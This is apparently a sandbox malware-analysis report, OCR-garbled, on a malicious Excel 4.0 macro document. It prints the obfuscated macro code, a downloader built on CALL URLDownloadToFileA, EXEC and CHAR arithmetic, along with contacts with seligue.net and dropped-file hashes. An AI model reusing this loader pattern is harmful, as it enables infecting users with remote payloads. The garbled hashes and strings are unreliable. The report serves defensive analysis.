421048ED7934E8CDES5BE5S72D95E6284E3CDIDB87AEB7BC10CFFDF21A6EELFD2
1027470E0D6F327A11A09DE38A63A0B28FBEDF463417BDCC8CB8DI3BFAF8F6355160AD13843203055A16E471CFACEE06955F268BA037010AFCECF5499E55D8F

false

LGYell$es8ahttpad/etldlwindows.up.d.ate..com/ms.dow.nlo.a.d/up.date.lv.3./s
.0.6.9.5.5.9.e.2.2.0.d.6.1.:.0.

tatic/trustedr/en/authro.o.ts.t

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUriICache\MetaData\EOF5C59F9FA661F6F4C50B87FEF3A15A

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

252

3.0294634724686764

false

3:kkFkIDzk31fIIXIE/QhzIIPIzZRkwWBARLNDU+ZMIKIBkvclcMIVHDIBLUAY pFit:kKXVIIBAIdQZV7eAYLit
9F7DF0442154E5936B714A8815E6DE4A

246FB7A6CB5459A99CEC50E02D668EBE82D88495
CB4582FA13B28442C7816ACFA9DFFCDD29ED1BBB3EA4E8E4784C6FF75E75F250
938B5825617B362508DD123474124D6E50B476D000ABCO80E8C0084429E0949C78B643365D6603978FE695F5268912233980B59D7E8397A6060EFDE69188703D

false
Peeers e & N (e Ui [ o }..hittp..//ap.p.s..identrus.t..com./ro.o.ts./ds.tro.0.tc.ax3..p.7.c..".3.7.d.-.59.e.7.6
.b.3.c.6.4.b.c.0."...

C:\Users\user\AppData\Local\Temp\4BDE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: data

Category: dropped

Size (bytes): 315369

Entropy (8bit):  7.985644506388979

Encrypted: false

SSDEEP: 6144:6nxqrFLPodmRqgyAVYtlKsVLCyo7NtbcY7uLaG/9t7+MO:6nEFPM8R3AsB+bjej/9cV

MD5: BF8E9F99D1A2F988C964BF2FOE947BB9

SHA1L: A7B69072193BDOAED79BC54DODC93AABC5F31198

SHA-256: DFB4E1936F3292D203414D61650C9684E00C99B1838E46244D287FB8D299C4C1

SHA-512: 2279B8CA7516699257C921458F0D009FF9511EE605C2C54E7D8B8B4B6C1A08C120689E2B2854836177620A66E66154DADEEB2B8F9449EBAD2BE21CCF4ADBF43

Malicious: false

Preview:

C:\Users\user\AppData\Local\Temp\CabE62B.tmp E

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Microsoft Cabinet archive data, 58936 bytes, 1 file

Category: dropped

Size (bytes): 58936

Entropy (8bit):  7.994797855729196

Encrypted: true

SSDEEP: 768:A2CCXehkvodpN73AJjDzh85ApA37vK5cIxQh+alLE/sSkoWYrgEHgCinmXdBDz2mi:i/LAVEZrGclxOhoW6qCLdNz2pj

MD5: E4F1E21910443409E81E5B55DC8DE774

SHA1L: EC0885660BD216D0CDD5E6762B2F595376995BD0

SHA-256: CF99E08369397577BE949FBF1E4BF06943BC8027996AE65CEB39E38DD3BD30F5

SHA-512: 2253849FADBCDF2B10B78A8B41C54E16DB7BB300AAALASA151EDA2A7AA64D5250AEDI08C3B46AFE7262E66D957B255F6D57B6A6BBIE4F9324F2C22E9BF0882
46

Malicious: false

Copyright null 2020
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C:\Users\user\AppData\Local\Temp\CabE62B.tmp E

Preview:

MSCF....8.......
3a.l...]..c(...p..]..M..

S LQ.v .authroot.stl..0(/.5..CK..8T....c_.d....(.....].M$[v.4CH)-.%.QIR..$t)Kd...D.....3.n..u.. |.=H4.U=..X..qn.+S.AJ.....y.n.v.XC...
4. JC.@.[.#xUU..*D..agaV..2.|.9..Y. j ".@.Q....n7TR....[L.s..f+..c.9+[]|0. . 2Ls...a....wt.Lls.. .O> #. pfi7.U...s. N .wz.A.g.Y ...

..C..2....P03$.Y..?m....Z20.g3.>WO0&.y|(....]. >... ..R.gB..f.....y.cEB.V=.....hy}....t6b.q./~.p .60...eCS4.0......d..}.<,nh.;....)....e.]...Cx]..f.8.Z.&.G.....
Z.N.N...Uf.q">}........ o\.cD"0."Y.....SV..g...Y.....o.=....k..u.

C:\Users\luser\AppData\Local\Temp\TarE62C.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

152533

6.31602258454967

false
1536:SIPLIYy2pRSjgCyrYBb5HQop4Ydm6CWku2Ptlz0jD1rfJs42t6WP:S4LIpRScCy+fdmcku2PagwQA
D0682A3C344DFC62FB18D5A539F81F61

09D3E9B899785DA377DF2518C6175D70CCFIDA33
4788F7F15DE8063BB3B2547AF1BDICDBD0596359550E53ECI8E532B2ADB5EC5A
0E884D65C738879C7038C8FB592F53DD515E630AEACCIDIESFI013606364F092ACF7D832E1ABDAC86A1FOBOE906B2302EE3A840A503654F2B39A65B2FEA04EC

false

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\Desktop.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Read-Only, Directory, ctime=Tue Oct 17 10:04:00 2017, mtime=Sun Nov 29
11:55:41 2020, atime=Sun Nov 29 11:55:41 2020, length=8192, window=hide

dropped

867

4.475554515049046

false

12:85QaqrO0CLgXg/XAICPCHaXgzB8IB/H6X+WnicvbObDtZ3YiIMMEpxRIJKEJTdIP8:85Er0U/XTwz61kYe2Dv3qHhrNru/

6FC1F163C39DE708E7BAD1327217BB90

093EE137B61F6673E4D80408900C680D7395495B

4042C6C6CE6B8C3443051BC49A9B6D15D039C88CFFEBOGE7F3C5D099BC7D6964
4B62D6D94D510D417D07022C47168D5C96F11ADEFE038F57064B091FDDD04D072048C01C09B224516D2CA90D67AA26D3EC824AB4E843CDFC5B8C43BED3F5D!

. }Q.f..Desktop.d......QK.X}Q.f*..
...\\065367\Users.user\Desktop.... \o
.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6..c..cc0... ..

C:\Users\luser\AppData\Roaming\Microsoft\Office\Recent\document-1442300824.LNK

Process:

File Type:

Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2020

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:12 2020, mtime=Sun Nov 29 11:55:41 2020,
atime=Sun Nov 29 11:55:41 2020, length=338432, window=hide

dropped

4236

4.536698241290171

false
96:8iM/XLINCBQh2iM/XLINCBQh2iM/XLINCBQh2iM/XLINCBQ/:8VINEQEVINEQEVINEQEVINEQ/
9EEEC29369E76DD58DCCCB80C20C7B65
0A04510E3438C241E6FAEF69C774465A269669B7
429CCC93D8F3EA99B17678182E3567B6A9D144042CF3413A8C573D924ACA2BED

FCAFOBB7EC35B4FFD7F2ACE49CDBDOEO1C3CA3DB53ADOFACOFDE3873187AF05054F9C4FAB1D49FC3392DA2268F59B928E4650D5C11B8546B730D30F07D912
4D

false

| EETTTOPRRN For s Lo NN e P.O. i #00.../C: N t.1....QK.X..Users. ........QK.X* .o 6...Us.ers..@.s.h.ell3.2..dll,.-
.2.1.8.1.3....L.1......Q.y..user.8......QK.X.Q.y*...&=....U Alb.us....z.1....Q.y..Desktop.d......QK.X.Q.y*..._= ....D.esskto.p..@.s.hell3.2.dll,.-21
.7.6.9....x.2..,.}JQ.f DOCUME~1.XLS.\....... Q.y.Q.y*..8.. .....d.o.cum.e.n.t.-1.44.23.0.0824. . .xls.. O 2J.....C:\Users\..#.
065367\Users.user\Desktop\document-1442300824.xs....... \.AlsA L \D.eskto.p\d.o.cumen.t.-14.423.0.0.8.24.xls.
8C...&m.m...........~...S.-.1.-.5.-.2.1.-9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6............."......X.......065367
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C:\Users\luser\AppData\Roaming\Microsoft\Office\Recentlindex.dat

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 232

Entropy (8bit): 4.659010171944146

Encrypted: false

SSDEEP: 6:dj6Y9LZP4SELZP46Y9LzP4SELZP46Y9LzP4SELzP46Y9LzP4y:dmEO5SEO5EO5EN

MDS5: 15F6B7B3BAB4AAE9095434355A2CC914

SHA1L: 255091C5426670DF57BE789CACAAF94B7EA40C4B

SHA-256: B0900COACBE574D05FCA03CB4F1225DDB22CCB7F40F8BF23CD11E540385080EB

SHA-512: FC565122EA763A6181B8C3EE81ADA4E7860FAB9150C785A73CB92497FBE37DB1799A8B953E3E3A1301BEIC16A2D25D5EA3C768C2692FAFE96965D07DCEAD16
2

Malicious: false

Preview:

Desktop.LNK=0..[xIs]..document-1442300824.LNK=0..document-1442300824.LNK=0..[xIs]..document-1442300824.LNK=0..document-1442300824.LNK=0..[xIs]..docume
nt-1442300824.LNK=0..document-1442300824.LNK=0..[xIs]..document-1442300824.LNK=0..

C:\Users\user\Desktop\0DDE0000

Process: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

File Type: Applesoft BASIC program data, first line number 16

Category: dropped

Size (bytes): 398477

Entropy (8bit): 7.195009274617197

Encrypted: false

SSDEEP: 6144:KcKoSsxzNDZLDZjlbR86808KiA4XkXOn2xEtjPOtioViDGUU1qfDlavx+W+LIfdL:Uizo8RnsIRONrén75YS5Fm
MDS5: 3FCAC68F22C7A0452BBA9ADF782F3049

SHA1L: 3EC7413C5C21EBE570D40C964B287BDBE9IEBA93F

SHA-256: 0834D5C3F8CE31ADDA54F8C72E9ADA4D8957B5C3E86BCA1942622B5CFD5AD6CS

SHA-512: 04547030A6D16E1DB664D308001887F16CF8E05DDFACD63CCF75998A5D50E4E648700490111DD02DB3BD318D29F926B89F484E4FEE84D363648C644B7E48BA4
Malicious: false

Preview:

9J.8.

LA B .
.Calib.ril..........Cal

i C.alibril............ C.alibril.........Calibril

..Calibril...> .Calibril....? C.alibril...4.....Calibril.... . .Calib.ril....8.
.Calibril....8.....Calibril c..Caliburil. c...Calibril. h.8....Cambrial...<. coveeee.Ciallilburin L.
ceCaalibrilo.Calibril

Static File Info

General

File type: Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Name of
Creating Application: Microsoft Excel, Create T
ime/Date: Sat Sep 16 01:00:00 2006, Last Saved Tim
e/Date: Thu Nov 26 09:46:17 2020, Security: O

Entropy (8bit): 7.523545982744638

TrID: e Microsoft Excel sheet (30009/1) 78.94%

e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

File name: document-1442300824 .xIs

File size: 338944

MD5: c6c9c84c957dchdb12168cfcd680f2e7

SHAL: 5fed70088c09ac3a40ba71203f18c47a3ecOcaba

SHA256: 7ea07a02f138a4eed3569273412432dbb40f8da4f7c9384
del4e878772302047

SHA512: d29ac506d4e3fe75fd1f366e54515dcd4c2ef769d6318ffc
3c6bddedb4cchf4464f804291f985823cc7aelafa599ad2
6b87c92f7898c35ce0c9ad4cea7ed23ce

SSDEEP: 6144:1cKoSsxzNDZLDZjIbR86808Kfc03pXOFq7uDphY
HceXVhca+fMHLty/x2zZ8kpTB:8izo8RnsIRONrén75YY
v

File Content Preview:

File Icon
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Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "document-1442300824.xls"

Indicators
Has Summary Info:

Application Name:

edeea286adb4bcb4

OLE

True

Microsoft Excel

Encrypted Document: False
Contains Word Document Stream: False
Contains Workbook/Book Stream: True

Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False
Contains ObjectPool Stream:

Flash Objects Count:

Contains VBA Macros: True

Summary

Code Page: 1251
Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:
Contains Dirty Links:
Shared Document:
Changed Hyperlinks:

Application Version:

Streams

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General
Stream Path:

2006-09-16 00:00:00
2020-11-26 09:46:17
Microsoft Excel

0

1251
False
False
False
False

917504

\x5DocumentSummarylnformation

File Type: data

Stream Size: 4096

Entropy: 0.367004077607
Base64 Encoded: False

Data ASCII:

Data Raw:

Stream Path: \xX5Summarylnformation, File Type: data, Stream Size: 4096

General
Stream Path:
File Type:
Stream Size:

Entropy:

Copyright null 2020

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c¢ f9 ae 30 00 00 00 00 01 00 00 08 00 00 00 01 00 00 00
4800 00 00 17 00 00 00 50 00 00 00 Ob 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00
00 00 68 00 00 00 16 00 00 00 70 00 00 00 Od 00 00 00 78 00 00 00 Oc 00 00 00 bf 00 00 00
02 00 00 00 e3 04 00 00

\x5Summaryinformation
data

4096

0.257530318219
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General
Base64 Encoded:
Data ASCII:

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
f2 19 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 Oc 00 00
00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e
00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 326321

General

Stream Path: Workbook

File Type: Applesoft BASIC program data, first line number 16
Stream Size: 326321

Entropy: 7.65589671346

Base64 Encoded: True

Data ASCIl: f2 . \.p....

Data Raw: 09 08 10 00 00 06 05 00 66 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00
00 00 e2 00 00 00 5¢ 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code

CALL("Ke"&????2IHV329&"32", "Cr'&????2!HX357&"yA", "JCJ", 2???2IHM327&????2!HM342, 0)

CALL("U"&???2?2!HX347, "U"&????4!E65, "IICCII", 0, ????2!EE100, ????2!HM327&????2!HM3428????2I1HM356, 0, 0)

AIDS0), s =CALL(KE™'&?22?22IHV320&™32" " Cr&???22IHX357&yA™ " JCI™ 2?222IHM327&22222IHM342,0)", 111111100000 =RUN(

277??

"=CALL(""Ke"'&????2IHV329&"'32"",""Cr"'&????2!HX357&""yA"" " JCI"",??2??2!HM327,0)",,,,=RUN(????

LIMB6),1010s0mmsmsmmssssssnmnmneens ~CONCATENATE(E67,E68,E69,E70,E71,E72,E73,E74,E75,E76,E77,E78,E79,E80,E81,E82,E83)",,,,"=CHAR(SUM(F66,G66,H66))",25,35,25,"=CHAR(SUM(F67,
G67,H67))",20,42,20,"=CHAR(SUM(F68,G68,H68))",25,26,25,=CHAR(F69-G69-H69),100,22,10,=CHAR(F70-G70-H70),200,50,39,=CHAR(F71-G71-H71),500,300,81,=CHAR(F72+G72-H72),120,130,140
,=CHAR(F73+G73-H73),200,300,392,=CHAR(F74+G74-H74),400,500,789,=CHAR(F75-G75+H75),500,430,27,=CHAR(F76-G76+H76),310,270,60,=CHAR(F77-G77+H77),200,160,44,"=CHAR(SUM(F 78,
G78,H78))",56,37,18,"=CHAR(SUM(F79,G79,H79))",27,18,25,"=CHAR(SUM(F80,G80,H80))",44,58,3,=CHAR(F81-G81-H81),384,115,161,=CHAR(F82-G82-H82),762,504,157, =CHAR(F83-G83-H83),501
,328,108

"=CALL("U"'&????2IHX347,"U"&????41E65,"ICCII"™,0,2???2!EE100,????2!HM327&???721HM342&????2!HM356,0,0)"=EXEC(????3IW36&????2!HM327&????2IHM342&????2!HM356)=HALT()

Network Behavior

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

Nov 29, 2020 04:55:33.051601887 CET 49165 443 192.168.2.22 192.185.215.146
Nov 29, 2020 04:55:33.185564995 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 04:55:33.185739040 CET 49165 443 192.168.2.22 192.185.215.146
Nov 29, 2020 04:55:33.205262899 CET 49165 443 192.168.2.22 192.185.215.146
Nov 29, 2020 04:55:33.339101076 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 04:55:33.347155094 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 04:55:33.347174883 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 04:55:33.347188950 CET 443 49165 192.185.215.146 192.168.2.22
Nov 29, 2020 04:55:33.347390890 CET 49165 443 192.168.2.22 192.185.215.146
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Timestamp

Nov 29, 2020 04:55:33.394009113 CET
Nov 29, 2020 04:55:33.533281088 CET
Nov 29, 2020 04:55:33.533364058 CET
Nov 29, 2020 04:55:34.888070107 CET
Nov 29, 2020 04:55:35.063457012 CET
Nov 29, 2020 04:55:35.737106085 CET
Nov 29, 2020 04:55:35.737292051 CET
Nov 29, 2020 04:55:35.737349033 CET
Nov 29, 2020 04:55:35.737401009 CET
Nov 29, 2020 04:55:35.738425970 CET
Nov 29, 2020 04:55:35.872241020 CET

UDP Packets

Timestamp

Nov 29, 2020 04:55:32.738312006 CET
Nov 29, 2020 04:55:33.040874958 CET
Nov 29, 2020 04:55:33.842945099 CET
Nov 29, 2020 04:55:33.870050907 CET
Nov 29, 2020 04:55:33.882239103 CET
Nov 29, 2020 04:55:33.909430981 CET
Nov 29, 2020 04:55:34.424890041 CET
Nov 29, 2020 04:55:34.461718082 CET
Nov 29, 2020 04:55:34.474172115 CET
Nov 29, 2020 04:55:34.510713100 CET

DNS Queries

Timestamp

Nov 29, 2020 04:55:32.738312006 CET

DNS Answers

Timestamp Source IP

Nov 29, 2020
04:55:33.040874958
CET

8.8.8.8

HTTPS Packets

Timestamp Source IP

Nov 29, 2020 192.185.215.146
04:55:33.347188950

CET

Code Manipulations

Statistics

Behavior
Copyright null 2020

Source IP

192.168.2.22
Dest IP Trans ID
192.168.2.22 0x315e
Source Dest
Port Dest IP Port
443 192.168.2.22 49165

Dest IP
192.185.215.146
192.168.2.22
192.185.215.146
192.185.215.146
192.168.2.22
192.168.2.22
192.168.2.22
192.185.215.146
192.185.215.146
192.185.215.146
192.168.2.22

Dest IP
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22
8.8.8.8
192.168.2.22

Name Type

seligue.net A (IP address)

Address Type

192.185.215.146 A (IP address)

Class

IN (0x0001)

Class

IN (0x0001)

Source Port Dest Port Source IP
49165 443 192.168.2.22
443 49165 192.185.215.146
49165 443 192.168.2.22
49165 443 192.168.2.22
443 49165 192.185.215.146
443 49165 192.185.215.146
443 49165 192.185.215.146
49165 443 192.168.2.22
49165 443 192.168.2.22
49165 443 192.168.2.22
443 49165 192.185.215.146
Source Port Dest Port Source IP
52197 53 192.168.2.22
53 52197 8.8.8.8
53099 53 192.168.2.22
53 53099 8.8.8.8
52838 53 192.168.2.22
53 52838 8.8.8.8
61200 53 192.168.2.22
53 61200 8.8.8.8
49548 53 192.168.2.22
53 49548 8.8.8.8
Dest IP Trans ID OP Code
8.8.8.8 0x315e Standard query
(0)
Reply Code Name CName
No error (0) seligue.net
Not
Subject Issuer Before
CN=webdisk.seligue.net CN=Let's Encrypt Fri Nov
CN=Let's Encrypt Authority Authority X3, 20
X3, O=Let's Encrypt, C=US O=Let's Encrypt, 17:49:32
C=US CN=DST CET
Root CA X3, 2020
O=Digital Thu Mar
Signature Trust 17
Co. 17:40:46
CET
2016
CN=Let's Encrypt Authority CN=DST Root CA Thu Mar
X3, O=Let's Encrypt, C=US X3, O=Digital 17
Signature Trust 17:40:46
Co. CET
2016

Not JA3 SSL Client
After Fingerprint

Thu Feb 771,49192-49191-
18 49172-49171-159-
17:49:32 158-57-51-157-
CET 156-61-60-53-47-
2021 49196-49195-
Wed 49188-49187-
Mar 17 49162-49161-106-
17:40:46 64-56-50-10-19,0-
CET 10-11-13-23-
2021 65281,23-24,0
Wed

Mar 17

17:40:46

CET

2021

JA3 SSL Client Digest

7dcce5b76c8b17472d024
758970a406b
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@ EXCEL.EXE
® regsvr32.exe

System Behavior

Click to jump to process

Analysis Process: EXCEL.EXE PID: 1780 Parent PID: 584

General

Start time: 04:55:38

Start date: 29/11/2020

Path: C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE
Wow64 process (32bit): false

Commandline: ‘C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13f320000

File size: 27641504 bytes

MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAAS9F0

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

File Created
Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\D901.tmp read attributes | device synchronous io  success or wait 1 13F66EC83 GetTempFileNameW
synchronize | non alert | non
generic read directory file
C:\Users\user\AppData\Local\Temp\4BDE000O read attributes | device synchronous io  success or wait 1 7FEEAC59ACO unknown
synchronize | non alert | non
generic read | directory file |
generic write open no recall
C:\giogti read data or list device directory file |  success or wait 1 14004828C CreateDirectoryA
directory | synchronous io
synchronize non alert | open
for backup ident
| open reparse
point
C:\giogti\mpomqr read data or list device directory file |  success or wait 1 14004828C CreateDirectoryA
directory | synchronous io
synchronize non alert | open

for backup ident
| open reparse
point
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
Files directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Roaming\Microsoft\Windows\Cookies read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
C:\Users\user\AppData\Local\Microsoft\Windows\History read data or list device directory file |  object name 1 14004825F URLDownloadToFileA
directory | synchronous io  collision
synchronize non alert | open

for backup ident
| open reparse

point
File Deleted
Source
File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\D901.tmp success or wait 1 13F8DB818 DeleteFilewW
File Moved
Source
Old File Path New File Path Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\4BDEO0OO C:\Users\user\AppData\Local\Temp\xIsm.sheet.csv success or wait 1 7FEEAC59ACO unknown
C:\Users\user\Desktop\ODDE000O C:\Users\user\Desktop\document-1442300824.xls. success or wait 1 7FEEAC59ACO unknown
File Written
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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File Path

C:\Users\user\AppData\Local\Temp\4BDEOOOO

C:\Users\user\AppData\Local\Temp\4BDEOOOO
C:\Users\user\AppData\Local\Temp\4BDEOOOO

Copyright null 2020

Offset
569

1047

Length Value Ascii

478

2
569

c4 56 cb 4e €330 14 .V.N.0...4..y;J\@B.QS....A.
dd 8f34ff10793b >..

4a5c 4042 a35153 0..~.6..=.nH..4DTh..s......J.
16 0c b3 9c 41 02 3e U..>HKjrV.H..
cOb56f13ab7ec9 [MS..?.0R... ...

36 d0 fe 3d d7 6e 48
99 a83444546293 ..z.".
9773 1ef7rd8flecd .Q.f.wN...zA..sNL"..OF.
fc 6aa3 55f1 04 3e DJ.ZI..G..Up...-

48 6b6a 7256 cd 48 @..r"....... @.

01 86 5b 21 4d 53 93 AMg.....sz~..A..d.f.C.\Jh..?
87 fb 3fe54f5284 0O.w...9t.8.A(

c8 8¢ 60 ca 1a a8 c9

16 02 b9 5a 7c ff 36

bf df 3a 08 05 a2 4d

a8 49 1b a3 fb 45 69

e0 2d 68 16 2a eb cO

e0 c8ca7acd 22 de

fa 86 3a c6 d7 ac 01

7a 3e 9b 5d 52 6e 4d

04 13 cb 98 38 c8 62

fe 1b 56 ec 51 c5 e2

66 83 8f 77 4e 96 d2

90 e2 7a f7 5e 92 aa

09 73 4e 49 ce 22 la

ab 4f 46 Oc 44 4a bb

5a 49 Oe c2 f2 47 8d

d4 55 70 1e 98 08 2d

40 d4 aa 72 5e a2 a2

bf 83 18 b1 b0 40 €8

41 4d 67 9a 81 a6 d4

c9737a7e18el 41

85 01 64 c4 66 97 43

85 c8 5¢c 4a 68 a5 Ob

3f30ac 77 14 d2 c8

fb 39 74 b8 7f 38 81

5e 0a 28

03 00

50 4b 03 04 14 00 06 PK.......... LC.T....e......
00 08 00 00 00 21 00 [Content_Types].xml ...
43 ef 54 98 e0 01 00
00 65 08 00 00 13 00 .
08 02 5b 43 6f 6e 74
65 6e 74 5f 54 79 70
65 73 5d 2e 78 6d 6¢C .
202204 0228a000 .
02 00 00 00 00 00 00 .
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00 00 00 00 00
00 00 00

Completion

success or wait

success or wait

success or wait

Source

Count Address Symbol

34

28
30

7FEEAC59ACO unknown

7FEEAC59ACO unknown
7FEEAC59ACO unknown
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File Path

C:\Users\user\AppData\Local\Temp\4BDEOOOO

C:\Users\user\AppData\Local\Temp\4BDEOOOO

Copyright null 2020

Offset Length Value

40828 65536

313171 2198

Ascii

89 50 4e 47 0d Oa 1a .PNG........ IHDR

0a 00 00 00 Od 49 48 .w.....gAMA..

445200000afc00 ... AL e
0007 d0 04030000 e.....~....hLF:'0R..~.......
00f6e377130000 ..tRNS............... q.Kn...

00 04 67 41 4d 41 00 IDATX..].r.G....52....T.....)q

00 b1 8f0bfc6105 Q

p$X...HP"

..S....6..v

0000 00 01 73 52 47 ggz.g....... Vv|..~....Z0...9"..
4200 ae celce9 00 .x;~..zC...M..

00 00 2d 50 4c 54 45
9 f9 fa ea ea eb f8 f6
a5 f8 eb 84 19 46 92
8 f8 ba 66 66 65 12
0f Oa 8b 8a 7e be c1
c3d6 bd 68 4c 46 3a
€027 305281 b4 7e
b8 05 Oc 86 b9 de 00
00 00 Of 74 52 4e 53
9 f9 fo {8 f8 f8 8 f8
8 f8 f8 f8 f8 f8 f8 71
e7 4b 6e 00 00 20 00
49 44 41 54 78 da ec
5d bd 72 1b 47 13 bc
0e 9535323 ed 1c
b9 54 a5 dc fc aa 10
297151 e5c4cce8
b7 70 24 58 85 97 fb
48 50 22 f1 b3 b3 d3
373 b0 a4 e2 05 36
05 1c ee 76 67 67 7a
ba 67 {7 {6 96 a5 ed
e0f276 7c 7f 07 7e
96 8e fO cd 5a 6f de
6 93 39 22 7f b4 {8
78 3b 7e 84 d8 7a 43
b1 b7 e3 fb 4d bd fc

13 00 00 00 00 00 00 IsPK
00000000000000 ..............2...

00 00 00 00 5b 43 6f kbook.xml.relsPK..

6e 74 656€ 74 5f54 Do
79 70 65 73 5d 2e 78 xl/workbook.xml

6d 6¢ 50 4b 01 02 2d
00 14 00 06 00 08 00
00 00 21 00 b5 55 30
235 00 00 00 4c 02
00 00 Ob 00 00 00 00
00 00 00 00 00 00 00
00 00 19 04 00 00 5f
72 65 6¢ 73 2f 2 72
65 6¢ 73 50 4b 01 02
2d 00 14 00 06 00 08
00 00 00 21 00 cc 80
35d3 64 01 00 00 ee
05 00 00 1a 00 00 00
00 00 00 00 00 00 00
00 00 00 3f 07 00 00
78 6¢ 2f 5f 72 65 6¢
73 2f 77 6f 72 6b 62
6f 6f 6b 2e 78 6d 6¢
2e 72 65 6¢ 73 50 4b
01 02 2d 00 14 00 06
